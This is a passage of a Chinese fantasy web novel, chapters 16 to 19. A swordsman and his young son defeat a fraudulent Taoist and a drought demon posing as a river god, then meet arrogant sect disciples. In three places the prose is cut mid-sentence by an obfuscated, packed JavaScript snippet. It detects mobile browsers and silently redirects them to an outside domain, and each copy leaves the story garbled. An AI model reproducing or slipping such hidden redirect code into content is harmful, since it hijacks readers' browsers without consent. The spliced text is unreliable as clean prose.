车夫似乎害怕沈不忘找不到晏家人便开口回去,又道:“不过城中最近来了个清虚道人,法术十分了得,听说修了长生不老之术,好生厉害。” “长生不老之术?”沈不忘下意识的看向戚宝。 戚宝也仰头看他爹,车夫声音从车外传来,道:“对呀,他就住在大财主余家,我送你去那吧。” 沈不忘听到这个大财主余家,不由挑了一下眉头,道:“好,就去余家。” 经过最凶险的半山半水的道路后,马车的速度稍稍慢了下来,到达城中的时候,已经是下午了。 戚宝靠在他爹怀里睡了一觉,等到醒来的时候,发现已经到了城中。 明明是中午,应该是街上最热闹的时候,却家家户户大门紧闭,不少人家门口都挂着白灯笼,有人披麻戴孝在烧纸钱。 街上行人来也去匆匆,显得十分着急。 戚宝紧张的拽着他爹的衣袖,道:“这么多死人吗?” “还未死,将死。”车夫说话竟也这般高深莫测了。 戚宝还要问什么,马车便停了下来,他跳下马车去敲门,喊道:“大管家,我们送人来了。” 戚宝掀开马车车帘,看到余府门口也挂着白色的花,这家也有将死之人吗? 车夫跟管家在门口说话,管家的三角眼正瞥了一眼露出脑袋的戚宝,随后露出笑容,给了马车夫一锭银子。 戚宝顿时感觉恶寒不已,这车夫该不会把他们给卖了吧? 沈不忘单手搂住戚宝,将他拎着下了马车。 余管家看到沈不忘的时候,顿时瞪大了眼睛,奸邪的表情一扫而空,露出真挚又淳朴的笑容,赶紧迎了上来,道:“沈大官人,什么风把你给吹来了,我们主人家可是盼星星盼月亮盼着你,临死前就想见你一面了。” “怎么?余郎财要死了?”沈不忘漫不经心的问道。 余管家露出一脸难受的表情,道:“我家主子真是生不如死啊,进屋里来说。” 马车夫目瞪口呆,指着戚宝道:“那这个小孩,你们不要了?” “什么小孩不小孩,你也不看看这位是谁?”余管家一脸晦气的说道,将自己给出去的银子又抢了回来。 车夫简直日了狗了,好不容易给你找了个替死鬼,你连银子都不给? 16. 第 16 章 沈不忘被余管家舔着笑脸迎了进去,一边解释着:“都是误会,都是误会。” 戚宝疑惑的看着余家大宅挂着白灯笼,下人们个个披麻戴孝,院子里按照八卦的方位摆了很多招魂幡,原本草木兴盛的院子此时看上去有些凄凉,处处透着死气。 戚宝抓紧了他爹的衣襟,他虽已明了这是个仙侠世界,但是人类对死人的恐惧是刻在骨子里的。 这样的灵堂风装修,着实让人心里发毛。 沈不忘轻轻拍了拍戚宝的后背,安抚道:“别害怕,屋里没有死人。” 余管家已经大声叫来了余郎财:“老爷老爷,您瞧瞧谁来了?” 余郎财一脸晦气的骂骂咧咧道:“咋咋呼呼成何体统,你最好是告诉我好消息,不然……”他出来后,一眼看到了沈不忘,顿时眼睛冒光。 “沈兄啊沈兄,我终于见着你了。”余郎财年纪比他爹还大不少,平日里鱼肉没少吃,大腹便便,十分富贵,他见着沈不忘宛如见着亲爹了一样,那叫一个感动啊。 戚宝上下打量了他一眼,觉得这个人有些奇怪,浑身散发着一股黑气,臭味都快熏着他了。 沈不忘冷声开口:“站住。” 余郎财僵在原地,不敢上前,手都不知道往哪里放,悻悻道:“沈兄,我们不是说好做兄弟的吗?” “你身上的臭味熏着我儿子了。”沈不忘嫌弃的说道。 余郎财看着戚宝,顿时笑着说道:“哎呀,原来沈兄是带着世侄一起来的,叔叔也没什么好给你的,这个金锁便送给你,当做见面礼。” 沈不忘直接拒绝道:“礼物就不必了,我是来找人的,听说城中宴家满门覆灭,是否有此事?” 余郎财和余管家面面相觑,不知如何开口。 沈不忘又问:“城中可是发生了什么事情?” “沈兄,宴家与淮江河神作对,被河神惩罚了。”余郎财压低了声音。 沈不忘有些怪异道:“哦?淮江中竟有河神,倒是第一次听说。” “有的有的,邺城从古至今都是靠着河神保佑,才能风调雨顺,可是几个月前,河神突然发怒,淹没了十几个村庄的农田。“余郎财唉声叹气的说着。 戚宝听着这话,有些讶异,按照邺城的气候,汛期一般在夏秋,冬季为枯水期,确实不该发生洪水,就算前段时间经常下雨,也不至于变成洪涝。 淮江之中有东西,在妖魔横行的仙侠世界确实有可能,至于是神还是妖,那、就有待考证。 沈不忘问道:“后来宴家去对付河神,被灭了满门?” “对对对,宴家那老头子不信邪,说那河中不是神,而是妖邪,要去驱邪,结果斗法了几日受了重伤回来,第二天全家死状极惨,浑身上下龟裂而死,像是干旱地的田地一般,是渴死的。”余郎财说话声音极低,神神叨叨的模样生怕让某位听见。 沈不忘瞥了余郎财一眼,道:“所以现在是怎么回事?” “河神发怒,要我们祭献100个童男童女。”余郎财的小眼神瞥了一眼戚宝。 沈不忘嗤笑一声,道:“所以你便买卖小孩,来你替死鬼?” 余郎财立即摆手道:“早知道是沈兄,我哪敢啊。” 戚宝听到要祭献童男童女,便知河里那玩意不是什么好东西。 余郎财见到他爹便如老鼠见了猫一样,卑躬屈膝的厉害,俨然是怕极了他爹。 “老余啊,让你找的孩子还没找到吗?难道真的要看着我们南哥儿去死吗?道长说了,只要找一个孩子……哎哟,你这是找到了呀。”美艳的妇人说话间便看到了戚宝。 她赶紧招呼下人道:“赶紧把灵堂撤了,这根本用不上了,这不是来了个童男吗?是谁找来的,我重重有赏。” 余郎财眉心跳了跳,反手就是一耳光,直接将人扇飞了。 余夫人捂着脸,不可置信的问道:“你个丧良心的,你还打我?你连亲生骨头的命都不要了,要是南哥儿不在了,我也不想活了,呜呜呜。” 余郎财赶紧跟沈不忘赔不是道:“沈兄,贱内让你笑话了。”随后又呵斥道,“也不看看这位是谁,这是我沈兄的儿子,你算什么东西?” 余夫人听到这话,下意识的看向沈不忘,懵了一下,随后闹得更凶了,道:“好啊,这就是你那个心心念念的男的是吧?你为了他连我们母子都不要了,就是为了跟这个卖屁股的双宿双栖……” “特娘的。”余郎财吓得肝胆俱裂,又是一巴掌打过去。 沈不忘的手段他是见识过的,半年前他猪油蒙了心,打上了沈不忘的主意,让他帮自己猎一个狐狸的皮草。 余郎财当时想得好,他不过是个猎户,就算要了他又如何,结果沈不忘直接把他扒光了,在后山的乱葬岗倒吊三天三夜,之后夜夜噩梦缠身,去找大师都没用,最后只能求爷爷告奶奶,跪在沈不忘面前真心诚意的道歉。 彼时,他坐在石桌上,睥睨着他,一柄长剑不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730262|157266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从哪里出来的,挑着他的下巴,眼睛里冒着幽幽的光,宛如神魔降世。 “杀你,不过如蝼蚁。”沈不忘道。 余郎财被恐惧攀附了内心,根本不敢吱声,他以为自己死定了。 “爹,爹……你真的在这啊。” 那时候,余郎财本意让人抓了他儿子逼他妥协,最后却成了他的救命稻草。 余郎财那次死里逃生,之后便再也不敢招惹男人了,这种生的好看的男人,最是危险了。 余郎财还在骂自己的夫人,夫人也不遑多让,冲上来抓他的脸,一边说着要么让小贱人的孩子来顶南哥儿,要么让戚宝来顶…… 戚宝被他爹捂住耳朵,抬头看他爹,一时无言。 等到余家夫人被带走了,沈不忘才揉了揉戚宝的耳朵,道:“脏了耳朵。” 余郎财战战兢兢的,问道:“不知道沈兄来此所为何事?” “我儿子病了,需要找一个厉害的仙人帮他看看。”沈不忘道。 余郎财立即一拍手,道:“我府上正好有一位清虚子,能通阴阳十分了得,必定能给沈公子治病。” 沈不忘颔首,可以见上一见。 余郎财正在带着沈不忘进了后院,清虚道人便被他供养在后院。 后院才是布置好的灵堂,一口棺材停在正中央,棺材上刻上了金色的咒纹,戚宝看不懂。 余郎财解释着,那是给他家儿子余胜南准备的,今晚子时河神就会来收走城里100个童男童女,所以各家都准备好了棺材,夜里让孩子躺在里面,等待河神收走自己的祭品。 这也是城里为什么挨家挨户都在挂上了白灯笼白绫的缘故。 沈不忘走到棺材旁边看了一眼,戚宝看不懂上面潦草的符咒,但是却认得连在一起的字,叫什么逆转【乾】【坤】。 “清虚道长,你可要为我做主啊。”余夫人已经扶着那老道出来了。 老道手上拿着一个长长的拂尘,身上穿着黑色的道袍,身材高大清瘦无比,生的一副仙风道骨的模样,那张脸却有些过瘦,显得有些崎岖,他傲慢的眯着眼睛。 余郎财迎上去道:“清虚道长,晚上就按照你说的做,让胜南躺在棺材里,别听这妇人胡言乱语。” 清虚子瞥了一眼余郎财,目光忽然落在沈不忘和戚宝的身上,对上戚宝的时候,眼中透出贪婪之色。 戚宝心想:这不是完蛋了吗?这人一看就不是什么好东西,而我,则是香饽饽。 17. 第 17 章 清虚子忽然啧啧称奇道:“天纵奇才,根骨上佳,不如小儿拜我门下,我收你为亲传弟子。” 余郎财顿时瞪大了眼睛,满脸堆笑,道:“沈兄,这真是好运啊,道长愿意收侄儿为徒,世侄有救了。” “哦,原来小儿病了,待我看看我弟子患有何病?”清虚子忽然一撩胡子,朝着戚宝走来。 戚宝立即搂住他爹的脖子,在他爹耳边说道:“爹,不要把我给出去。” “道长,想收我儿子,亮出些真功夫吧。”沈不忘冷然的看着清虚子。 清虚子被他凛然的气势惊了一下,当即有些恼了,退了两步,扬手一挥拂尘,展开成长长的帆,正面写着:金童前引路,玉女送蓬莱。 背面写着:鬼王名字引路令。 清虚子一挥鬼王引魂幡,树立在院子八卦方位的旗帜便无风而动,阴气森森。 原本还是下午,天上太阳当空,此时却突然黑了天,院子里狂风大作,刺骨的寒气朝着骨缝里钻去。 余郎财和余夫人已经抱作一团,冻得瑟瑟发抖,余郎财喊道:“道长,收了神通吧。” “无知小儿,收你儿为徒是你前世修来的福气。”清虚子怪笑着,“还不速速交上小孩。” 沈不忘冷冷看着妖风乱作一团的余家,一手搂住戚宝,命剑凭空而现,寒光冷冷照在清虚子的眼中,清虚子顿时慌了神,心中大喊:“此人是什么来历?” 招魂幡中的鬼魅不屑的说道:“无名之辈,从未见过。” “邪魔外道,装神弄鬼。”沈不忘一剑斩落,院中黑气一滞,剑光直冲云霄,妖邪之气立即四下散去。 清虚子还在舞动着招魂幡,大喊一声:“不自量力。” 鬼魅:“……” “大人,大人,出招啊。”清虚子喊道。 鬼魅:“快跑快跑,这人十分凶险。” 清虚子面色一僵,忽然转了个身,将招魂幡一收,冷冷的说道:“本尊不屑与你计较,今日且放过你。” 余郎财赶紧道:“我这兄弟也是无心之失,道长切莫怪罪。” “哼,死罪可免活罪难逃,你带人故意冲撞本尊,今夜祭献之事,便让此人帮你解决吧,本尊不招待了。”清虚子色厉内荏道。 余郎财无论怎么哀求,这清虚子都不为所动,逃难似的离开了余家大宅。 戚宝从他爹身上下来,道人离开后,院子里的重重鬼影便消散一空,戚宝呼吸着舒服的空气,心中舒坦了些。 余郎财看着离开的清虚子,显得十分颓废,倒是余夫人一反常态,开心的要死。 余夫人笑得前仰后合的,道:“哈哈哈,你想保那狐狸精的儿子,让我儿子去死,现在没了道长,看谁帮你?” 余郎财一副愁云惨淡的模样,转而将目光投向沈不忘,道:“沈兄弟啊,你一定要帮帮我,那是我唯一的儿子啊。” “儿子没了再生就是,哦,我忘记了,你已经不能生了,哈哈哈。”余夫人大快人心啊。 余郎财一脸憋屈的看着沈不忘,还不是当初色令智昏,动了沈不忘这个太岁,被废了。 沈不忘收起命剑,在院子里绕了一圈,道:“此事我可以帮你,不过我有要求。” “好好好,只要你保住我余家的血脉,我一定答应。”余郎财立即点头如捣蒜。 冬日昼短夜长,天很快就黑了。 夜里更冷了,戚宝知道他爹肯定不会放任妖邪作恶而坐视不管的。 要让全城祭献100个童男童女,算什么神仙? 他爹晚上躺在棺材里,戚宝就躺在他身边,而那个叫余胜南的小儿也是乖乖的躺在他们旁边,余胜南抓着戚宝的衣袖,低声嗫嚅道:“戚哥哥。” “小南弟弟,你别怕,安心睡一觉就好了。”戚宝耐心的安抚着小弟弟。 这小孩三四岁的样子,比戚宝还小,其实她是个女孩儿。 原来余郎财的夫人生了个女儿当做儿子来养,取名胜南,余郎财家里还有个小妾,生的是儿子。 为了保全儿子,便将女儿献祭,也不是知晓她是女儿才献祭余胜南,而是更爱小妾的儿子。 余夫人为了保护孩子,便告知了余郎财真相,女儿河神不要的。 于是余郎财找来了道士逆转乾坤,使了阵法欺骗河神,而余夫人则是想买个男孩儿来顶替女儿。 到了晚上,整个城安静的宛如死城一般,鸡犬之声不相闻,人声也消匿,棺材外呼呼作响的只有风声。 漆□□仄的小棺材里,戚宝贴着爹一起,格外有安全感。 他的一双大眼睛在黑暗中炯炯有神,盯着他,压低了声音道:“爹,你躺在这里,你害怕吗?” “不怕,你了?”沈不忘问道。 戚宝道:“有爹在,我就不怕。” “爹一定会保护你的。”沈不忘道。 他原本并不想管这里的事情,但若是他不管这里,他日灾厄必定会降在云戚的头上,不如从源头上解决了。 戚宝有一搭没一搭的跟他爹聊天:“你说那个宴家,真的能驱邪吗?” “能。”沈不忘应道。 戚宝又问:“那我是中邪了吗?我觉得我还行,一点问题都没有。” “无碍,若是邺城没有人能看,那爹就带你去别处,寻遍整个大陆,总有办法的。”沈不忘道。 戚宝听他爹这么说,忽然感觉问题有些严重了,忙问道:“爹,我该不会死吧?” “不许胡说,爹不许你死。”沈不忘声音骤然严肃起来。 戚宝:…… 你搞得这么紧张,我真以为我会死。 我到底得了什么病? 戚宝此时又想起了那个小说来,抓心挠肝的,为什么当初没有仔细看这个文? 小说里也没有写到他得了什么重病。 戚宝胡思乱想着,趴在他爹胸膛上,他爹有一下没一下拍着他的后背,嘴里轻轻哼着小曲儿。 就在他即将陷入梦乡之际,他爹忽然手一顿,戚宝一个激灵,感觉危险逼近。 黑暗中,那身高一丈的人形的巨物,从财主家的院子外一跃而进,随之而来的是剧烈的腐肉的臭味,戚宝立即捂住鼻子,难以忍受这臭味。 这他妈是河神吗?分明臭尸体! 他靠近棺材,凑在旁边嗅了嗅,漆黑的眼眶中冒出了幽幽的精光,这一次的血肉是极好的,充满了灵气。 漆黑干枯的手指上指甲极长,从棺材的缝隙直接插了进来,然后先开了棺材板。 是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730263|157266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 魃。 他眼中只有那个小孩,充满了灵气,垂涎的流下了腥臭的口水。 戚宝顿时忍不了,喊了句:“爹,我要被臭晕了。” 那玩意这才发现棺材里还有一个人,顿时暴怒不已,发出沙哑的声音道:“找死。” 沈不忘属于人狠话不多的,直接破棺而出,执剑迎了上去。 那旱魃不过才成精没多久,作恶时间也短,智商和身手都一般,胜在力量大。 不过他哪里是天道之下最强剑尊的对手,不过三两下,便被砍去了四肢,在地上张着嘴想要咬人。 沈不忘直接踹了一个棺材板到他的嘴里,他咔哧咔哧的啃棺材。 “你不是河神,河神去哪里了?”沈不忘问道。 这不是普通的魃,而是旱魃。 旱魃出现方圆千里寸草不生,耕地龟裂出现灾难级的旱灾,可邺城出现的确实旱灾,显然不符合常理。 反倒是宴家的死相,比较符合旱魃的做派。 旱魃咿咿呀呀,也不懂求饶,只道:“河神已经死了。” “所以你取而代之?在邺城作恶?”沈不忘问道。 旱魃:“桀桀桀,河神死了,神都死了,他们都该死。” “……” 沈不忘沉思了片刻,那家伙见他失神冲上来要咬他,他凌空一剑,直接将它对半劈开,旱魃在他面前毫无还手之力。 旱魃痛苦的嘶喊着,长啸声响彻云霄,挣扎了一番后,便死的不能再死了。 沈不忘收剑,看着地上一地残渣。 神都死了?是什么意思? 余家人悄悄在暗处偷看,那怪物被消灭了,才敢出来,余郎财问道:“这玩意儿,就这么死了?” “没有死透,需要焚烧,再找大师超度。”沈不忘道。 余郎财看沈不忘的眼神更加炽热了,道:“多亏了沈兄啊,若是没有你的话……真不知道该怎么办才好。” 沈不忘没有理会他,而是看着怀里的戚宝。 躺进棺材前将孩子绑在身上的,也没有恋战,速战速决,戚宝适应的还行,只是看一眼那玩意有些恶心。 不过现在他慢慢开始适应了。 毕竟以后会遇到很多这种玩意儿。 沈不忘问道:“怕吗?” “不怕,我也想像爹这么厉害。”戚宝也要修仙,不要当魔修。 小说里他成了渡妄的继任者,也成了魔尊,反正那不好。 戚宝觉得,他肯定会改变命运的,不然就白瞎了自己穿书这个金手指了。 沈不忘笑了笑:“你以后肯定比爹厉害。” “爹,那你收我为徒吧,我现在就要学起来,我也要自己保护自己,不能拖你后腿。”戚宝捏紧了小拳头,信心十足的说道。 沈不忘却露出了为难的神色,即便前尘往事忘了个干净,心里最深处还是不愿他修自己一样的道,再者他也不知该如何教导弟子。 “爹,怎么了?”戚宝问道。 沈不忘道:“等爹去给你觅个更厉害的人,教你。” “也行吧。”戚宝想了一下,补了句,“反正不要那个你救回来的人当我师父。” 沈不忘诧异的看向戚宝,反问道:“何出此言?” 18.第 18 章 戚宝意识到自己说漏嘴了,也就不瞒着他爹了,道:“他之前说要收我为徒,还说了一堆莫名其妙的话。” 戚宝想了想,他爹还是不要跟渡妄再见面了为好,不然以渡妄那缠人的性格,没事在他爹面前蹦跶,很容易让爹起杀心的。 那不就又走上了原文的老路了吗?相爱相杀。 于是戚宝补了句:“爹,以后别让他住我们家了。” “嗯。”沈不忘见着那人便讨厌的厉害,现在得知那人又要哄骗自己的儿子。 沈不忘不禁心中来气,眸中隐隐有了杀意。 余郎财感恩戴德的谢沈不忘,赶紧召集了城里人,将那旱魃给大火焚烧了。 清虚子躲在人群中看着,心惊肉跳的,这人看着毫无灵力波动,竟然能强到这种地步? 他赶紧收拾收拾自己的东西,逃之夭夭了。 招魂幡里不可一世的鬼魅也不敢吱声,若是被此人发现,指不定被打得魂飞魄散,永世不得超生。 清虚子朝着城外跑去,他本想招收点孤魂野鬼,养养魂幡里的厉鬼的,后来得知这里有邪神作恶,专门吃人。 于是一人一鬼便合计,那好啊,邪神吃肉,他们要魂。 没想到一出来就踢上了钉板。 一人一鬼跑了一段路,走到城外忽然看到一个清隽的男子,青古色的长衫,头发全然束在脑后,身材修长高挑,在碧水江南显得有些格格不入。 他牵着一匹马走在乡野小道上,一手拿着一张纸,披着一身月华,拧眉看着手中告示上的文字,神色那般认真专注,全然无视即将逼近的危险。 这前后十里路都荒无人烟,这样一个人走来,便是送到嘴边的肥肉。 若是仔细看,可以看到此人衣摆上有水渍,显然是经过清川的时候趟过水了,那般湍急的河流,还能全身而退,显然不是常人。 招魂幡里的厉鬼不由恶从胆边生,破风而去。 渡妄看到一道黑影朝着自己飞来,扬起手就是一巴掌,道:“什么脏东西?” 厉鬼被拍到地里,渡妄一脚将他踩进了泥里,笑的恶劣道:“原来是只小鬼,竟然敢打主意到我头上,真是不知道死字怎么写?” “大人,饶命啊,大人,我有眼不识泰山。”鬼惨叫着,嗷嗷乱叫。 渡妄道:“我忘了,你本来就死了,再死就要云散烟消了。” “呜呜呜……”渡妄虚空一握,将泥地里的厉鬼捏了起来,手中出现一道火焰,幽幽的魔火炙烤着鬼魂,隐约还有股淡淡的烤肉香味。 渡妄忽然饿了,想到了沈君钦亲手给他做的鸡汤(并不是)。 “魔……魔尊大人,魔尊大人饶命啊。”厉鬼忽然发现了华点,开始求饶。 渡妄炙烤的火焰顿了一下,疑惑道:“你竟然认识我?” “认识认识,我是你最忠诚的属下阿镰啊。”厉鬼嘤嘤嘤的哭着,像是个几百斤的肥仔。 渡妄歪了歪脑袋,思索了一下,从他潦草的模样上辨认了一番:“啊,是你啊。” “是我是我。”阿镰哭的那叫一个凄惨,但是鬼魅是没有泪水的,所以他只能干嚎,“大王,我终于找到你了,没有你的日子,我们魔族过得好惨啊。” 渡妄道:“那你该在魔界,而不是人间。” 阿镰挠了挠头,道:“大人,我现在已经死了,已经入了鬼道,鬼道难混,我以为人间好一些,能混点生魂吃吃,没成想随便遇上一个猎户就是剑修,那一剑,差一点把我劈得魂飞魄散。” 渡妄冷冷的扫了一眼旁边噤若寒蝉的清虚子,傲慢的眸子微微一动,在他的拂尘上看到了剑意。 修真界几万年才出一人的旷世奇才,沈君钦。 本来就为修真界第一人,此间无敌手。 后来在秘境中参悟了天道,便更是战无不胜,说他是猎户,确实有眼不识泰山。 “哦,你们遇上了他,还能活着回来,倒是命大。”渡妄眼中杀意凛然,捏紧那小小的魂魄,森森的语调让人胆寒心惊,“他凭什么放过你?” 阿镰窒息求饶道:“那剑士心善,见小的……小的可怜,便放了我们一马。” “心善?心软了?”渡妄忽然松了手,露出沉思的表情。 阿镰赶紧称是,现在到了大王的手中,他随便一个手指便能捏死他,只能顺着他的话说。 渡妄忽然狞笑着,漆黑的眸中染上了红光,幽幽如地狱里的恶魔。 老道士和阿镰觉得他们死定了。 城中妖物已消,余郎财广而告之。 从夜里吵吵闹闹到了天明,剩下那99个孩子也完好无恙。 白日里在午时阳光最盛的时候,全城人搭好了个巨大的焚烧台,将那魃投入焚烧台中。 邺城州府也来了,他见心腹大患已除,心中却依旧不安,客客气气的询问沈不忘,道:“仙人,咱们这凡火烧他真的可行吗?不知道仙长能否引天火焚烧这魃?” 沈不忘蹙了蹙眉头,道:“我并不会。” “哎,凡火便凡火吧,不过能否求仙长在城中小住一段时日,我怕这怪物火烧不灭,卷土重来。”余大人说道。 沈不忘应下,留在城中守护一方安宁。 不为别的,余郎财告诉他,宴家虽然满门被灭,却还留有一人。 那人是宴家几代培养出来的天才,拜了修真界第一大宗门无极宗门下,见全族被灭,便去仙山宗门寻求帮助。 他原本是全城的希望,来回无极宗需要十日。 沈不忘听到修真界第一大宗门,还是要见上一见的。 妖邪已除,城中很快又恢复了往日的热闹。 虽然这旱魃出现的有些诡异,但是并无人深究,大家都是普通人,没有这方面的见识,就算询问沈不忘,也得不到答案。 戚宝跟着他爹在城里各种闲逛,平日里便住在余郎财给他们准备的单独的宅子里。 快过年了,沈不忘还带着戚宝去裁缝铺子给他做了新衣裳。 戚宝也看上了一条好看的漂亮法蓝色的布料,触手极为舒适,比他爹那一身草黄色的淳朴的粗布麻衣好看多了,戚宝看了看这块布料,又看了看他爹。 沈不忘正在跟掌柜的说要给戚宝做几身新衣服,鹅黄色配着赤色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14731842|157266||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的喜庆,却也不能天天穿的这么喜庆,又做了几套藏青色,浅绿色的衣裳,等到开春的时候可以穿,显得活泼有生机,用不了的其他布料便可以搭配着使用。 “爹,这个好。”戚宝拉着沈不忘的手,去看自己摸到的那条。 掌柜的立即殷勤的笑道:“这可是上好的蜀锦,小公子眼光真好,就这最后一匹了。” “那就也买下来给云戚做衣服。”沈不忘顺手就搭在戚宝的脑袋上。 戚宝道:“是给爹做新衣服,爹都没有新衣服。” “爹不用。”沈不忘虽然说着不要,脸上笑意却很浓。 掌柜的是人精儿,立即夸奖起戚宝孝顺,小小年纪就念着爹,要是自家不孝子能跟戚宝这般该多好云云。 于是沈不忘决定父子两各自做一件,专门是这颜色不好看,掌柜的还做了推荐,搭配了些亮色点缀,裁剪的事情便交给了铺子里的裁缝。 沈不忘是城中的名人,掌柜的还给他打了折。 买完衣服,父子两又去酒楼吃了饭,还买了不少瓜子果脯,过年的时候可以吃。 戚宝越发有些期待过年了,他还是第一次跟家人一起过年。 家人…… 戚宝忽然想到自己另一个爹,他也算是家人吧,自进城那日一别,就再也没有见过他了。 难道人真的走了? 不应该啊,戚宝虽然没有看完那文,却也知道剧情,那家伙凶残霸道恋爱脑,一直纠缠他爹,是个十分难缠的家伙。 戚宝咬了一口糖葫芦,渡妄不纠缠他们,戚宝也不会去寻人,他恨不得两爹以后都别见面,也就避免了爱别离。 戚宝问道他爹要不要吃,他爹摇摇头。 两个人拎着大包小包就回去了。 到了家门口,余管家正在门口候着,见两人回来,立即笑脸相迎,道:“沈公子,小少爷可把你们等回来了。” “何事?”沈不忘问道。 余管家道:“宴家那宴行带着他的两个师兄回来了,老爷叫小的来请沈公子去看看。” 沈不忘应好,将物品放置好,便抱着戚宝跟着余管家朝着余府走去。 戚宝看过自己的伤口,他当时判断的没有错,那不是毒蛇,所以他也没有中毒,现在伤口也已完全愈合了。 只是伤疤的地方布满了蜘蛛丝一般的纹路,戚宝知道那不是什么重要的东西,至少对目前来说不重要。 这玩意是魔族血脉的觉醒,之前那蛇妖喝了他的血就吓得跑了,只怕也是被他体内的血脉吓到了。 没办法,谁让它想吃不该吃的人? 戚宝无奈的想着。 这玩意儿以后会有些影响,魔族血脉的人,若是修仙,容易生心魔。 戚宝恨恨的咬一口糖葫芦,腮帮子塞的鼓鼓的,搂着他爹的脖子,目光没有焦距的朝着他爹身后的街道看去。 这一看惊觉不好,最繁华的十字路口的香满楼上,坐着一个俊美的男子,身边凑上来好几个妖娆的女子。 戚宝认出了那人,心中顿生鄙夷:我呸,你一边逛青楼,一边纠缠我爹,你个狗屁魔尊! 19.第 19 章 第19章 戚宝视力那叫一个好,看到渡妄跟身边一个类似老鸨的人低头说了几句什么,脸上笑容越发肆意。 他似乎知道戚宝看到了他,森森的目光朝着戚宝看来。 戚宝不看那个糟心的家伙,将目光看向别处。 邺城没有荷花村好看,戚宝百无聊赖窝在他爹怀里,手上拿着一搓头发,给爹左右两边各编了个小辫儿。 两地相隔不远,很快便走到了余家门口。 尚未进门便听到一个年轻的声音在高谈阔论道:“尸初变为旱魃,再变为犼,多居于北方,所到之处大旱千里,竭盐池之水,力大无穷,相貌可怖,食生人血肉。” 年轻的声音顿了一下,便听另一个少年问道:“余先生,旱魃所到之处应该为干旱,为何你却说邺城近几个月发了几次洪水,不知那魃如今所在何处,是真是假?” “这……这我就不知道了。”余郎财尴尬挠头,他是一句话都听不懂。 年轻的声音嗤笑一声道:“旱魃可是魔物,修为很高的,你口中说的沈兄不过是个猎户,他一剑就杀了它,未免也吹嘘的太过了。” “焦师兄,此言差矣,那位沈大哥我见过,确实有本事的。”说话的人是宴行,邺城驱魔世家的独苗,因为少时上了无极宗拜师学艺,才躲过灭门一劫。 宴行在无极宗一直都是外门弟子,入不得内门的眼。 焦山谦听他插嘴,立即摆上了嘴脸呵斥道:“师兄说话,有你插嘴的份吗?” “师兄,我只是……”宴行有些委屈。 林听风打圆场,道:“等人来了,咱们问问便知。” 余郎财也道:“对对对,小仙长说得对。” 焦山谦哼了一声,道:“我只是担心尔等凡夫俗子受妖人欺骗,好心竟当了驴肝肺。” “你满嘴胡说,我爹才不是妖人了。”戚宝忍不了一点,这人说话怎么这么狂? 花厅里一众人朝着门外看去,只见身材高挑的男人身着一身草木色的麻衣,头发也是随意的用布条束着,他虽衣着朴素,却难掩他出尘的气质,周身萦绕着一股精纯的气息。 或许几位小修士都十分年轻,并不能肉眼看到灵气,却觉得此人来时,如沐春风,冷冷清清的气质,却让人心生几分亲近之意。 他手边还牵着个小孩,看上去很生气,皱着眉头,道:“你们再胡说,我可就对你们不客气了。” 戚宝的话让师兄弟三人回过神来,宴行第一个上前,拱手问好:“前辈。” “无极宗内门弟子焦山谦,师承清风剑,敢问……阁下尊姓大名?”焦山谦说话时傲慢的打量着沈不忘,鼻孔看人的姿态十分高人一等。 林听风倒是长着一张和善的脸,脸上稚气未退尚有几分婴儿肥,他笑着跟沈不忘拱手行礼道:“无极宗林听风,见过前辈。” 沈不忘清冷的眸子扫了他们一眼,最后目光落在宴行的身上,问道:“近来可安好?” “我爹,我爷爷他们……”宴行像是终于找到了可以依靠的人,家族被灭的痛苦,被师兄嘲笑的委屈此时一下子就爆发了,少年突然泣不成声,哽咽着。 沈不忘没有见过别人在自己面前哭成这样,也从未安慰过别人,戚宝见状这个清秀少年哭的这么凄惨,有些于心不忍,将自己刚刚买来的叮叮糖拿出来,递到他的手里。 “哥哥,不哭了。”戚宝拍拍他的手。 宴行收下了他的糖,道了句谢谢弟弟。 焦山谦一脸不耐烦,竟然被这不知名的乡野村夫无视了,还有这个窝囊的外门弟子竟然在大庭广众之下哭成这样,简直丢了无极宗的脸。 “宴行,闭嘴,你这是在丢无极宗的脸,我现在就禀告师门,将你驱逐出山。”焦山谦一脚踹了过去。 宴行被踹出半丈远,林听风立即上前阻拦,道:“师兄,别动气,师弟不过思念家人,情难自禁。” 焦山谦暴躁的推开林听风道:“什么师弟,他不过是我们无极宗一个外门打杂的,上山请我们下来捉妖驱魔,还以为可以历练一番。” “他口中的妖物不过是个乡野村夫都能处理的,宴家废物家族,自己无能,看什么都恐怖,灭门也是自己技不如人,死了活该,活着也是浪费仙门资源。” 宴行听到此话,无法忍受,冲过来要揍焦山谦,一边喊着:“你给我闭嘴。” 